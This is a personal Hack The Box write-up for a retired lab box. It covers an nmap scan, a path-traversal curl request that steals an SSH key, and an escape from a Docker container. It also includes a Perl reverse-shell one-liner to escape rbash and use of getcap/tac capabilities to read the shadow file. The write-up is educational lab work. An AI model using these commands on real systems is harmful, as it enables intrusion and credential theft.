You’ll need to bear with me on this one because this isn’t one of the boxes that’s still available under the retired section, so I can’t walk through the whole process again and make sure I’ve covered everything. I’m basically just going off my notes here, and while I do try and keep track of what I’m doing as I go through a box there are no doubt things that I didn’t record. That said, I hope there’s something here that’s of value.
Initial Scan
Here’s the saved output of my initial scan:
# Nmap 7.70 scan initiated Thu Nov 1 22:30:21 2018 as: nmap -A -O -vv -p- 10.10.10.87
Nmap scan report for 10.10.10.87
Host is up, received echo-reply ttl 63 (0.064s latency).
Scanned at 2018-11-01 22:30:21 CDT for 130s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUBrGVTenfm2F4qteJkyDe6hVIFmu8bbhvIHpgyeurAI6685LtchiyT67l6xdhhc4jKe9kPp7Sb123/oqHf0lkoHywgwn2VI4Fxbj2QUoRw6LXeT1UL3W9vYMNazvGgjriv7S/pfXZA9E0IGIGauQfWhMsh2LMi7R9XLCgvtglmEe+PJP3PtR1OosHIYJzbF9iP/gaN303eDZXkDbWlIcr5hLDFDw/OLPYY1ew8oHMdJKs/WSEZfbRJFE6NTfjuumX5Sfbo8lk5jcWZ683BUeHK8PFknqlDQnqLa2F9M4vq9vSXvDNfd315vaLpLoA/OymCyXzamwXVVEUI4hm7oMj
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOGNlwRr8whDd+DtY94Sa6uDIuCTTnDO9rp4ezQyJRbB866Useclk0U03GooZdUNgcyHttrfBhrLRbNp4EYmSEg=
| 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILhvDtrIfnHWdGIA3ewprB+7ZA1wfv/PcQtO/vlNHaks
80/tcp open http syn-ack ttl 63 nginx 1.12.2
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook no-response
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=11/1%OT=22%CT=1%CU=31155%PV=Y%DS=2%DC=T%G=Y%TM=5BDBC54
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Uptime guess: 4.235 days (since Sun Oct 28 16:53:58 2018)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 65.78 ms 10.10.14.1
2 65.87 ms 10.10.10.87
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 1 22:32:31 2018 -- 1 IP address (1 host up) scanned in 130.30 seconds
Exploit
Ok, so not much open in the way of ports. According to my notes, the web server was presenting a php app that allowed the user to make lists. It would store the list text in files, and then would later display these files based on values passed in the parameters. Obviously, we should start to get the feeling that we can force the program to either read or write files it shouldn’t. I didn’t write down all of the php page names, but I believe there was a page that would read directories (so it could show all of the lists it had saved) and then another one for reading in the text files and displaying the list contents. By manually crafting urls and taking advantage of the two page functions, we can start to enumerate interesting directories. I eventually found that there was an ssh key for a user called nobody, which I retrieved via the following curl command:
curl -d "file=....//....//....//....//....//....//home/nobody/.ssh/montior" -vv http://10.10.10.87/fileRead.php
With that key, you can turn around and ssh into the box via the following: ssh -i monitor [email protected]
After poking around a bit, we can identify that we’re running alpine linux, and that we appear to be in a docker container. This is obviously less than helpful since we want to be able to get to the actual box. I remember that if you listed the connections, it would be apparent that your ssh connection was coming in on a non-standard port, which didn’t really make sense given that the ssh command you run to make the connection is most assuredly going to port 22. I assume this means that the box is routing external connections to the non-standard port and into the docker process. Ifconfig seems to imply that we can hit the IP of the actual box. If you check the ssh directory for nobody, I believe the known_hosts file implies that it’s for user monitor, so if you turn around and ssh to localhost using the same key as before and the user montitor, you’ll find that you’re in the box proper.
Unfortunately, you’re also properly restricted. That’s right, you come into the box with rbash. I used the same technique to get out of this as I have in the past, which is to use a non-interactive ssh session and have it set up a reverse shell:
echo 'perl -e '\''use Socket;$i="'10.10.14.254'";$p='443';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'\''' | ssh -i ~/.ssh/.monitor [email protected]
Escalation
Ok, so we finally have a shell, on the box itself, with no particular restrictions aside from whatever permissions our user has. That was a lot of work. Unfortunately, I have no idea how to get a root shell on this box. I was able to get the flag and dump the shadow file, but never did get an actual root shell. Disappointing, I know.
I was able to get the flag after I found a program called logMonitor. I don’t remember where these were located (probably in monitor’s home directory?), but I do remember that there were multiple versions of them. One of them displayed the odd ability to read log files which were restricted to root, but the program wasn’t suid. This blew me away as I had no idea how it was achieving this.
Enter: capabilities. I had no idea these were even a thing, but they’re apparently a way to give programs finely grained permssions without resorting to something as blunt as suid. I tried, for what seemed like hours, to find a way to get the logMontior program to read the shadow file (or anything else), but nothing worked. Eventually, after researching online, I found info about the getcap command. Using this utility, you can search for other programs on the box that have capabilities set. Using the following command: getcap / -r 2>/dev/null, I found that/usr/bin/tac could read any file on the system. This was how I get the root flag and dumped the shadow file (although one should note it was backwards given that tac prints files in reverse.
So, it was a bummer not to be able to get a real root shell. I did mean to try and crak the shadow file, but never got around to it. Perhaps that was actually the intended method? Regardless, I still learned a lot on this box, and although it was painful, I’m glad I was able to work through it.